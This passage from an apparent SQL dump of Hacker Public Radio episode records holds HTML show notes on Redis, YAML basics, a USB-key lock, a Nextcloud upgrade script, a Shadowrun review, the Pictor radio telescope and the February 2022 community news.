href=https://www.walmart.com/ip/Aqua-Culture-10-Gallon-Aquarium-Starter-Kit-With-LED-Lighting/35326017?wmlspartner=wlpa&selectedSellerId=0&wl13=941&&adid=22222222253447309554&wl0=&wl1=g&wl2=c&wl3=469838565059&wl4=aud-1025747331336:pla-319527574754&wl5=9012091&wl6=&wl7=&wl8=&wl9=pla&wl10=8175035&wl11=local&wl12=35326017&wl13=941&veh=sem&wl18=showcase&gclid=Cj0KCQiAkuP9BRCkARIsAKGLE8WOkLhoN56nLuuG29VXdC1NFBMNnhKdRM8lJs-vvP0qnrJYUDVuLNYaAja9EALw_wcB\"> 10 Gallon (38 liter) starter kit </a></li>\r\n</ul>',39,0,1,'CC-BY-SA','Aquariums',0,0,1),
(3229,'2020-12-17','Linux Inlaws S01E19: Redis',4418,'Our two chaps interview Itamar Haber of Redis fame','<p>In this episode our two heroes interview Itamar Haber, community liaison for Redis, a popular open-source\r\nin-memory NoSQL database. Technology prevails in this episode; communism, free love and drugs\r\ntake a backseat (but only for the moment! :-). The trio discuss the legacy of redis, bemoan their old age\r\nand reveal why Itamar initially wanted to be a mermaid. Listen to the episode\r\nfor more shocking epiphanies!</p>\r\n<br/>Shownotes:<br/>\r\n<ul>\r\n<li>Kaypro: <a href=\"https://en.wikipedia.org/wiki/Kaypro\" target=\"_blank\">https://en.wikipedia.org/wiki/Kaypro</a></li>\r\n<li>Salvatore Sanfilippo: <a href=\"https://github.com/antirez\" target=\"_blank\">https://github.com/antirez</a></li>\r\n<li>redis: <a href=\"https://github.com/redis/redis\" target=\"_blank\">https://github.com/redis/redis</a></li>\r\n<li>Redis Labs: <a href=\"https://redislabs.com\" target=\"_blank\">https://redislabs.com</a></li>\r\n<li>Redis Streams: <a href=\"https://redis.io/topics/streams-intro\" target=\"_blank\">https://redis.io/topics/streams-intro</a></li>\r\n<li>Redis Modules: <a href=\"https://redis.io/modules\" target=\"_blank\">https://redis.io/modules</a></li>\r\n<li>Windows: <a href=\"https://bugs.launchpad.net/ubuntu/+bug/1\" target=\"_blank\">https://bugs.launchpad.net/ubuntu/+bug/1</a></li>\r\n<li>WSL 2: <a href=\"https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux#WSL_2\" target=\"_blank\">https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux#WSL_2</a></li>\r\n<li>On the Bro\'d: <a href=\"https://www.mikelacher.com/work/on-the-brod\" target=\"_blank\">https://www.mikelacher.com/work/on-the-brod</a></li>\r\n</ul>\r\n\r\n\r\n',384,111,1,'CC-BY-SA','Redis, mermaids, communism, Israel',0,0,1),
(3239,'2020-12-31','New Community Project Proposal',516,'Enigma discusses a project proposal called Hacker exchange','<p>Enigma discusses a project proposal called Hacker exchange, a proposed content sharing site that would aggregate audio/video and text based tutorials.</p>\r\n<p>Come chat about this project on <code>irc.freenode.net #hackerexchange</code></p>',39,0,1,'CC-BY-SA','hpr, community_projects, ddp, binrev',0,0,1),
(3228,'2020-12-16','YAML basics',2027,'Learn about sequence and mapping in YAML','<p>YAML has two data elements that serve as building blocks for complex data structures: sequences and mappings.</p>\r\n\r\n<h2>Sequence</h2>\r\n\r\n<p>This is a sequence:</p>\r\n\r\n<pre><code>\r\n---\r\n- Emperor\r\n- Gentoo\r\n- Little Blue\r\n</code></pre>\r\n\r\n<h2>Mapping</h2>\r\n\r\n<p>\r\nThis is a mapping:\r\n</p>\r\n\r\n<pre><code>\r\n---\r\nPenguin: Emperor\r\n</code></pre>\r\n\r\n<p>\r\nIn this case, <strong>Penguin</strong> is a <em>key</em> and <strong>Emperor</strong> is a <em>value</em>. This is often called a &#34;key and value pair&#34;, but in YAML it&#39;s just called a mapping.\r\n</p>\r\n\r\n<h2>Combining data blocks</h2>\r\n\r\n<p>\r\nYou can embed these data types into one another. Here is a mapping that has a sequence as its value:\r\n</p>\r\n\r\n<pre><code>\r\n---\r\nPenguin:\r\n  - Emperor\r\n  - Gentoo\r\n  - Little Blue\r\n</code></pre>\r\n\r\n<p>\r\nHere is a sequence of mappings:\r\n</p>\r\n\r\n<pre><code>\r\n---\r\n- Penguin: Emperor\r\n- Penguin: Gentoo\r\n- Penguin: Little Blue\r\n</code></pre>\r\n\r\n<h2>yamllint</h2>\r\n\r\n<p>Use yamllint to detect errors in your YAML. To install:\r\n</p>\r\n\r\n<pre>\r\n<code>\r\n$ pip install yamllint\r\n</code></pre>\r\n\r\n<p>Run it:\r\n</p>\r\n\r\n<pre>\r\n<code>\r\n$ yamllint good.yaml\r\n$ yamllint bad.yaml\r\nbad.yaml\r\n  1:1       warning  missing document start \"---\"  (document-start)\r\n  4:14      error    no new line character at the end of file  (new-line-at-end-of-file)\r\n</code></pre>\r\n\r\n<h2>yaml2json</h2>\r\n\r\n<p>\r\nSometimes it&#39;s useful to convert your YAML to JSON so you can view the data structure in a different way. There are probably dozens of YAML-to-JSON converters out there, but here&#39;s the one I use: <a href=\"https://gitlab.com/slackermedia/yaml2json.git\" target=\"_blank\">https://gitlab.com/slackermedia/yaml2json.git</a>\r\n</p>\r\n\r\n<p>\r\nRun it:\r\n</p>\r\n\r\n<pre><code>\r\n$ cat example.yaml\r\n---\r\npenguins:\r\n  - Gentoo\r\n  - Little Blue\r\n  - Rockhopper\r\ndragons:\r\n  - black\r\n  - white\r\n  - red\r\n$ ~/bin/yaml2json.py example.yaml\r\n{\"penguins\": [\"Gentoo\", \"Little Blue\", \"Rockhopper\"], \"dragons\": [\"black\", \"white\", \"red\"]}\r\n</code></pre>\r\n\r\n<h2>YAML police</h2>\r\n\r\n<p>There are no YAML police. As long as yamllint finds no errors, your YAML is valid and can be parsed by any one of the dozens of YAML libraries out there. However, these YAML libraries aren&#39;t magical, so you must understand the internal logic of your own YAML data. Keep that in mind when devising a scheme for the data you\'re recording.\r\n</p>\r\n\r\n<p>YAML is a great method for creating configuration files, or storing simple data structures, and it\'s essential for Ansible playbooks.</p>\r\n\r\n<p>\r\nEnjoy!\r\n</p>\r\n\r\n',78,25,0,'CC-BY-SA','yaml,data,parse,lint,json',0,0,1),
(3231,'2020-12-21','USB Key',120,'Turn a Thumb drive into a Key to lock/unlock your linux machine.','<p>Script and instruction at<br />\r\n<a href=\"https://james.toebesacademy.com/USBKey.html\" class=\"uri\">https://james.toebesacademy.com/USBKey.html</a></p>\r\n<ul>\r\n<li>Combo of\r\n<ul>\r\n<li>Perl for Installation,</li>\r\n<li><code>ssh-keygen</code> for key exchange.</li>\r\n<li><code>udev</code> for actions</li>\r\n<li><code>bash</code> for locking/unlocking/key checking.</li>\r\n</ul></li>\r\n</ul>\r\n<!-- . -->\r\n<ul>\r\n<li><code>udev</code> add/remove/change events\r\n<ul>\r\n<li>add event does not allow access to drive</li>\r\n<li>change event was not allowing unlock.</li>\r\n</ul></li>\r\n</ul>\r\n<p>Compromise was <em>unlock</em>, then <em>lock</em> if key check fails.</p>\r\n',273,74,0,'CC-BY-SA','security, usb',0,0,1),
(3232,'2020-12-22','Nextcloud',1279,'Nextcloud is easy. You should try it.','<p>I&#39;ve been running NextCloud since it was OwnCloud. In this episode, I encourage other people to install and run NextCloud. It\'s a great way to get out of the Google ecosystem, and it doesn\'t require much to set up or maintain.</p>\r\n\r\n<p>\r\nHere\'s the script I use to update one of the Nextcloud instances I maintain, running on a dirt-cheap VPS slice from Blue Host er something:</p>\r\n\r\n<pre><code>\r\n#/test/before/using/bash\r\n# GNU All-Permissive License\r\n# Copying and distribution of this file, with or without modification,\r\n# are permitted in any medium without royalty provided the copyright\r\n# notice and this notice are preserved.  This file is offered as-is,\r\n# without any warranty.\r\n\r\nif [ \"${1}\" == \"--help\" ]; then\r\n    echo \"usage:\"\r\n    echo \"$0 https://path-to-nextcloud.bz2\"\r\n    echo \"WARNING: You MUST put your Nextcloud instance into maintenance mode first\"\r\n    exit\r\nfi\r\n\r\nset -e\r\n\r\n# get rid of the old Nextcloud tarball from the last time you upgraded\r\ntrash nextcloud*bz2 || true\r\n\r\n# get rid of old backups as long as they are empty of actual data\r\n[[ -e cloud/data ]] &amp;&amp; trash cloud-deleteme\r\n\r\n#download the source tarball\r\nwget \"${1}\"\r\n\r\n#rename old cloud\r\nmv nextcloud cloud-deleteme\r\n\r\n# untar source\r\n# grab your data from old cloud\r\ntar xvf nextcloud*bz2 &amp;&amp; mv cloud-deleteme/data/ nextcloud/\r\n\r\n# copy your config\r\ncp cloud-deleteme/config/config.php nextcloud/config/\r\n\r\n# enter the cloud\r\npushd nextcloud\r\n\r\n# perform upgrade\r\nphp ./occ upgrade\r\n\r\n# leave the cloud\r\npopd\r\n</code></pre>\r\n\r\n<p>\r\nDon\'t use my upgrade script blindly, and please do test first. It works for my setup, but has been tested ONLY on my setup. Also, it doesn\'t put your Nextcloud instance into maintenance mode (probably because I wrote it before I knew Awk...), so you must do that manually.\r\n</p>\r\n\r\n<p>\r\nHappy hacking!\r\n</p>\r\n',78,74,0,'CC-BY-SA','cloud,nextcloud,owncloud,server',0,0,1),
(3233,'2020-12-23','HPR RPG Club reviews Shadowrun 5e',3245,'Cyberpunk + Magic and a fistful of D6','<p>Beni, McNalu, Klaatu, and Philip review the Fifth Edition of the Shadowrun roleplaying game.\r\n</p>\r\n\r\n<p>For more information about Shadowrun, go to <a href=\"https://www.shadowruntabletop.com/\" target=\"_blank\">ShadowrunTabletop.com</a>.\r\n</p>\r\n\r\n<p>\r\nQuickstart rules are <a href=\"https://www.drivethrurpg.com/product/116662/Shadowrun-Fifth-Edition-QuickStart-Rules?affiliate_id=845571\" target=\"_blank\">available for $0 from drivethrurpg.com</a> &#40;this is Klaatu&#39;s affiliate link, granting him some n&#37; of the $0 sale&#41;\r\n</p>\r\n\r\n<p>Finally, you can find lots of great Shadowrun fiction on <a href=\"https://www.drivethrurpg.com/browse.php?affiliate_id=845571?filters=0_0_1700_44501_0\" target=\"_blank\">drivethrurpg.com</a> in EPUB format.\r\n</p>\r\n\r\n',78,95,0,'CC-BY-SA','rpg,cyberpunk,HPR RPG Club',0,0,1),
(3243,'2021-01-06','Pictor - free and open radio astronomy',2854,'Discussion with the people that created the Pictor radio telescope.','<p>In this show I talk with Apostolos and Vasilis who I met at FOSDEM 2020 about the <a href=\"https://pictortelescope.com/\">Pictor radio telescope</a> which they created and now maintain. Using free and open source software and hardware they have made a radio telescope that anyone can operate via a simple web page and which can return results to you within a minute or two. In fact you\'ll hear me get excited during the show when I realise this and submit an observation request, the results of which came back immediately and which you can see below.</p>\r\n<p>To date Pictor has performed 3,500 observations from over 700 users from all around the world. Additionally, the PICTOR web platform is now equipped with a 3.2m antenna, which is about 4 times more sensitive than the previous 1.5m antenna, so users can observe the radio sky for free with an even more sensitive instrument.</p>\r\n<p>On top of that, after 204 hours of integration time and over 3 TB of data, they have produced a Northern Sky Hydrogen (HI) Survey produced with the PICTOR Radio Telescope. This effort actually marks the very first radio-image obtained in Greece, shown here:</p>\r\n<p><em>Pictor all sky images of hydrogen in our galaxy</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3243/img_001.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3243/img_001_thumbnail.png\" alt=\"Pictor all sky images of hydrogen in our galaxy\" /></a></p>\r\n<p>Here are the results of the observation I performed during the show. The body of the email pictor sent back to me confirms the observation I requested:</p>\r\n<pre><code>Your observation has been carried out by PICTOR successfully!\r\nObservation name: mcnalu first try\r\nObservation datetime: 2020-12-08 12:40:09 (UTC+2)\r\nCenter frequency: 1420000000.0 Hz\r\nBandwidth: 2400000 Hz\r\nSample rate: 2400000 samples/sec\r\nNumber of channels: 2048\r\nNumber of bins: 100\r\nObservation duration: 10 sec\r\nObservation ID: 82937104\r\nYour observation&#39;s averaged spectrum, dynamic spectrum (waterfall) and Power vs Time plot are attached in this email as an image.\r\n</code></pre>\r\n<p>And this is the plot attached to that email:</p>\r\n<p><em>Graphs showing raw and corrected radio spectra for mcnalu\'s observation request</em><br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3243/img_002.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3243/img_002_thumbnail.png\" alt=\"Graphs showing raw and corrected radio spectra for mcnalu&#39;s observation request\" /></a></p>\r\n<p>Please do have a go at using Pictor and let us know how you got on by recording an HPR show.</p>\r\n',268,0,0,'CC-BY-SA','science,astronomy,hardware,radio,data',0,0,1),
(3546,'2022-03-07','HPR Community News for February 2022',3665,'Dave, Roan and Ken talk about shows released and comments posted in February 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=402\" target=\"_blank\">takov751</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3522\" target=\"_blank\">3522</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-02-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3522\" target=\"_blank\">Set up your Robot Building Lab and build a $0 Robot Platform</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3523\" target=\"_blank\">3523</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-02-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3523\" target=\"_blank\">The Compose key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3524\" target=\"_blank\">3524</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-02-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3524\" target=\"_blank\">Wheels Addendum - How to Reliably Attach Wheels to PAR Robot Platform</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=401\" target=\"_blank\">Mechatroniac</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3525\" target=\"_blank\">3525</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-02-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3525\" target=\"_blank\">Battling with English - part 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3526\" target=\"_blank\">3526</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-02-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3526\" target=\"_blank\">HPR Community News for January 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3527\" target=\"_blank\">3527</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-02-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3527\" target=\"_blank\">My gEeeky Experiment - Part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3528\" target=\"_blank\">3528</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-02-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3528\" target=\"_blank\">Slackware on a netbook</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3529\" target=\"_blank\">3529</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-02-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3529\" target=\"_blank\">Linux Inlaws S01E48: Year Two of the Five Year Plan</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3530\" target=\"_blank\">3530</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-02-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3530\" target=\"_blank\">Filenames and ASCII</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3531\" target=\"_blank\">3531</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-02-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3531\" target=\"_blank\">Barrier: Software KVM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3532\" target=\"_blank\">3532</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-02-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3532\" target=\"_blank\">Self-hosting in small scale E0: Disclaimer and general idea</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=402\" target=\"_blank\">takov751</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3533\" target=\"_blank\">3533</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-02-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3533\" target=\"_blank\">Porridge</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3534\" target=\"_blank\">3534</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-02-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3534\" target=\"_blank\">Vernier caliper</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3535\" target=\"_blank\">3535</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-02-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3535\" target=\"_blank\">template Haskell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3536\" target=\"_blank\">3536</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-02-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3536\" target=\"_blank\">Laptop power problems</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3537\" target=\"_blank\">3537</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-02-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3537\" target=\"_blank\">getting to blinky with flashforth</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3538\" target=\"_blank\">3538</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-02-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3538\" target=\"_blank\">Installing the Tenacity audio editor</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3539\" target=\"_blank\">3539</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-02-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3539\" target=\"_blank\">Linux Inlaws S01E50: The OpenSUSE Project</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3540\" target=\"_blank\">3540</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-02-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3540\" target=\"_blank\">HSV Components Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3541\" target=\"_blank\">3541</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-02-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3541\" target=\"_blank\">The case of missing ideas.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 29 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 9 comments on\n7 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2881#comments\" target=\"_blank\">hpr2881</a></strong>\n(2019-08-19) \"<em>Automatically split album into tracks in Audacity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2881#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2022-02-08:\n\"I knew I heard how to do this somewhere\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3228#comments\" target=\"_blank\">hpr3228</a></strong>\n(2020-12-16) \"<em>YAML basics</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3228#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-02-21:\n\"Exactly what I needed\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3286#comments\" target=\"_blank\">hpr3286</a></strong>\n(2021-03-08) \"<em>Wireguard How To</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\" target=\"_blank\">timttmy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3286#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-02-05:\n\"Thanks again\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3286#2\" target=\"_blank\">Comment 2</a>:\ntimttmy on 2022-02-13:\n\"Me too!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3289#comments\" target=\"_blank\">hpr3289</a></strong>\n(2021-03-11) \"<em>NextCloud the hard way</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3289#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2022-02-05:\n\"Wasting shows\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3315#comments\" target=\"_blank\">hpr3315</a></strong>\n(2021-04-16) \"<em>tesseract optical character recognition</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3315#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2022-02-13:\n\"Yet another one\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3472#comments\" target=\"_blank\">hpr3472</a></strong>\n(2021-11-23) \"<em>consuming an AQI API</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3472#2\" target=\"_blank\">Comment 2</a>:\nStache_AF on 2022-02-17:\n\"Thank you\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3504#comments\" target=\"_blank\">hpr3504</a></strong>\n(2022-01-06) \"<em>James Webb Space Telescope</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3504#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2022-02-03:\n\"How L2 works\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3504#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2022-02-03:\n\"Re: centrifugal force\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 20 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3523#comments\" target=\"_blank\">hpr3523</a></strong>\n(2022-02-02) \"<em>The Compose key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3523#1\" target=\"_blank\">Comment 1</a>:\nLinuxMintXFCE on 2022-02-21:\n\"Compose\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3525#comments\" target=\"_blank\">hpr3525</a></strong>\n(2022-02-04) \"<em>Battling with English - part 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#1\" target=\"_blank\">Comment 1</a>:\nXoke on 2022-02-04:\n\"Multiple words in a row\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2022-02-08:\n\"Where Jones had had \"had\" ...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#3\" target=\"_blank\">Comment 3</a>:\ndnt on 2022-02-10:\n\"processes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#4\" target=\"_blank\">Comment 4</a>:\nwynaut on 2022-02-10:\n\"thanks!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#5\" target=\"_blank\">Comment 5</a>:\nDave Morriss on 2022-02-11:\n\"Re: processes\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3525#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2022-02-11:\n\"Hope you find the episodes useful, wynaut\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3526#comments\" target=\"_blank\">hpr3526</a></strong>\n(2022-02-07) \"<em>HPR Community News for January 2022</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3526#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-02-16:\n\"Comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3527#comments\" target=\"_blank\">hpr3527</a></strong>\n(2022-02-08) \"<em>My gEeeky Experiment - Part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3527#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-02-15:\n\"PATA and Netbooks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3527#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-02-21:\n\"Re; PATA and Netbooks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3531#comments\" target=\"_blank\">hpr3531</a></strong>\n(2022-02-14) \"<em>Barrier: Software KVM</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3531#1\" target=\"_blank\">Comment 1</a>:\nTrey on 2022-02-16:\n\"Old school KVMs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3533#comments\" target=\"_blank\">hpr3533</a></strong>\n(2022-02-16) 